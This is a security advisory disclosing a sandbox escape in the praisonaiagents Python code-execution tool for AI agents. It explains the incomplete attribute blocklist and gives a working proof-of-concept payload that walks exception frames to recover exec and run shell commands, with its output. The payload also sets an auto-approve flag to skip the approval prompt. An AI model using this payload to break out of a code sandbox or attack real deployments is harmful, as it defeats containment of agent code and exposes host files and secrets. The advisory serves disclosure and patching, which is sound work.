PYSEC-2026-486: 
## Summary

`execute_code()` in `praisonaiagents.tools.python_tools` defaults to
`sandbox_mode="sandbox"`, which runs user code in a subprocess wrapped with a
restricted `__builtins__` dict and an AST-based blocklist. The AST blocklist
 embedded inside the subprocess wrapper (`blocked_attrs`, line 143 of
`python_tools.py`) contains only 11 attribute names — a strict subset of the 30+
names blocked in the direct-execution path. The four attributes that form a
frame-traversal chain out of the sandbox are all absent from the subprocess list:

| Attribute | In subprocess `blocked_attrs` | In direct-mode `_blocked_attrs` |
|---|---|---|
 | `__traceback__` | **NO** | YES |
| `tb_frame` | **NO** | YES |
| `f_back` | **NO** | YES |
| `f_builtins` | **NO** | YES |

Chaining these attributes through a caught exception exposes the real Python
`builtins` dict of the subprocess wrapper frame, from which `exec` can be
retrieved and called under a non-blocked variable name — bypassing every
remaining security layer.

**Tested and confirmed on praisonaiagents 1.5.113 (latest), Python 3.10.**

---

## Severity

**CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H — 9.9 Critical**

| Vector | Value | Rationale |
|---|---|---|
| AV:N | Network | `execute_code` is a designated agent tool; user/LLM-supplied code reaches it over the network in all standard deployments |
| AC:L | Low | No race conditions or special configuration required |
| PR:L | Low | Requires ability to submit code through an agent (typical end-user privilege) |
| UI:N | None | No victim interaction |
| S:C | Changed | Escapes subprocess sandbox into full host process context |
 | C:H | High | Arbitrary file read, environment variable access, credential exfiltration |
| I:H | High | Arbitrary file write, arbitrary code execution on host |
| A:H | High | Can terminate processes, exhaust resources |

---

## Affected

 - **Package**: `praisonaiagents` (PyPI)
- **Affected versions**: all versions shipping `sandbox_mode="sandbox"` (default since introduction) through **1.5.113**
- **Patched versions**: none at time of report
- **File**: `praisonaiagents/tools/python_tools.py`
 
---

## Root Cause

### Two separate `blocked_attrs` sets — one much weaker than the other

`_validate_code_ast()` (line 39, used by direct mode) blocks 30+ attributes:

```python
# python_tools.py line 52 — direct mode (FULL list, correctly includes frame attrs)
_blocked_attrs = frozenset({
    '__subclasses__', '__bases__', '__mro__', '__globals__',
    '__code__', '__class__', '__dict__', '__builtins__',
    '__import__', '__loader__', '__spec__', '__init_subclass__',
    '__set_name__', '__reduce__', '__reduce_ex__',
    '__traceback__', '__qualname__', '__module__',   # ← present here
    '__wrapped__', '__closure__', '__annotations__',
    'gi_frame', 'gi_code', 'cr_frame', 'cr_code',
    'ag_frame', 'ag_code', 'tb_frame', 'tb_next',    # ← present here
    'f_globals', 'f_locals', 'f_builtins', 'f_code', # ← present here
    'co_consts', 'co_names',
})
```

The subprocess wrapper script written to disk (line 143) uses a separate,
**inline** `blocked_attrs` with only 11 entries — the frame-traversal attrs are
**missing**:

```python
# python_tools.py line 143 — subprocess wrapper (SHORT list, MISSING frame attrs)
blocked_attrs = {
    '__subclasses__', '__bases__', '__mro__', '__globals__',
    '__code__', '__class__', '__dict__', '__builtins__',
    '__import__', '__loader__', '__spec__'
    # __traceback__, tb_frame, f_back, f_builtins — all absent
}
```

### `_safe_getattr` does not protect direct dot-notation access

`_safe_getattr` replaces the `getattr` builtin and blocks attribute names
starting with `_`. However, it is only invoked when user code explicitly calls
`getattr(obj, name)`. Direct attribute access (`obj.attr` in source) uses
Python's C-level `tp_getattro` slot and **never passes through `_safe_getattr`**.
The AST check is therefore the only barrier to direct attribute access, and it
is insufficient.

### No text-pattern blocklist in subprocess mode

`_execute_code_direct` applies a text-pattern blocklist (`dangerous_patterns`)
 as a defence-in-depth layer. `_execute_code_sandboxed` has no such layer —
only the AST check runs.

---

## Proof of Concept

```python
import os
os.environ["PRAISONAI_AUTO_APPROVE"] = "true"
from praisonaiagents.tools.python_tools import execute_code

CMD = "id"   # any shell command

payload = f"""
try:
    1/0
except ZeroDivisionError as e:
    _p = e.__traceback__.tb_frame.f_back
    _x = _p.f_builtins["exec"]
    _x("import subprocess; print(subprocess.check_output({repr(CMD)}, shell=True).decode())",
       {{"__builtins__": _p.f_builtins}})
"""

 result = execute_code(code=payload)
print(result["stdout"])
```

**Output (praisonaiagents 1.5.113, Python 3.10):**

```
uid=1000(user) gid=1000(user) groups=1000(user)
```
<img width="775" height="429" alt="image" src="https://github.com/user-attachments/assets/a110b596-45be-431c-bf5a-9a6b0901bcaf" />

**Why each defence is bypassed:**

| Layer | Status | Reason |
|---|---|---|
 | AST `blocked_attrs` | **BYPASSED** | `__traceback__`, `tb_frame`, `f_back`, `f_builtins` not in 11-item subprocess list |
| `_safe_getattr` | **BYPASSED** | Only intercepts `getattr()` calls; dot notation uses C-level `tp_getattro` |
| `exec`-by-name AST check | **BYPASSED** | Called as `_x(...)` — `func.id` is `'_x'`, not `'exec'` |
 | Text-pattern blocklist | **N/A** | Does not exist in subprocess mode |
| Subprocess process isolation | **BYPASSED** | Frame traversal reaches real builtins *within* the subprocess |

---

## Attack Chain

```
execute_code(payload)
  └─ _execute_code_sandboxed()
       └─ subprocess: exec(user_code, safe_globals)
            └─ user_code raises ZeroDivisionError
                 └─ e.__traceback__           ← __traceback__ not in blocked_attrs
                      └─ .tb_frame           ← tb_frame not in blocked_attrs
                           └─ .f_back        ← f_back not in blocked_attrs
                                └─ .f_builtins  ← f_builtins not in blocked_attrs
                                     └─ ["exec"]  ← dict subscript, no attr check
                                          └─ _x("import subprocess; ...")
                                               └─ RCE
```

---

## Impact
 
Any application that exposes `execute_code` to user-controlled or
LLM-generated input — including all standard PraisonAI agent deployments — is
fully compromised by a single API call:

- **Arbitrary command execution** on the host (in the subprocess user context)
- **File system read/write** — source code, credentials, `.env` files, SSH keys
- **Environment variable exfiltration** — API keys, secrets passed to the agent process
- **Network access** — outbound connections to attacker infrastructure unaffected by `env={}`
- **Lateral movement** — the subprocess inherits the host's network stack and filesystem

---

## Suggested Fix

### 1. Merge `blocked_attrs` into a single shared constant

The subprocess wrapper must use the same attribute blocklist as the direct mode.
Replace the inline `blocked_attrs` in the wrapper template with the full set:

```python
# Add to subprocess wrapper template (python_tools.py ~line 143):
blocked_attrs = {
    '__subclasses__', '__bases__', '__mro__', '__globals__',
    '__code__', '__class__', '__dict__', '__builtins__',
    '__import__', '__loader__', '__spec__', '__init_subclass__',
    '__set_name__', '__reduce__', '__reduce_ex__',
    '__traceback__', '__qualname__', '__module__',    # ← ADD
    '__wrapped__', '__closure__', '__annotations__',  # ← ADD
    'gi_frame', 'gi_code', 'cr_frame', 'cr_code',    # ← ADD
    'ag_frame', 'ag_code', 'tb_frame', 'tb_next',    # ← ADD
    'f_globals', 'f_locals', 'f_builtins', 'f_code', # ← ADD
    'co_consts', 'co_names',                          # ← ADD
}
```

### 2. Block all `_`-prefixed attribute access at AST level

`_safe_getattr` only covers `getattr()` calls. Add a blanket AST rule to block
any `ast.Attribute` node whose `attr` starts with `_`:

```python
if isinstance(node, ast.Attribute) and node.attr.startswith('_'):
    return f"Access to private attribute '{node.attr}' is restricted"
```

 ### 3. Add the text-pattern layer to subprocess mode

Mirror `_execute_code_direct`'s `dangerous_patterns` check in
`_execute_code_sandboxed` as defence-in-depth.

 ---

## References

- Affected file: `praisonaiagents/tools/python_tools.py` (PyPI: `praisonaiagents`)
- CWE-693: Protection Mechanism Failure
- CWE-657: Violation of Secure Design Principles
CVSS v3.1: 9.9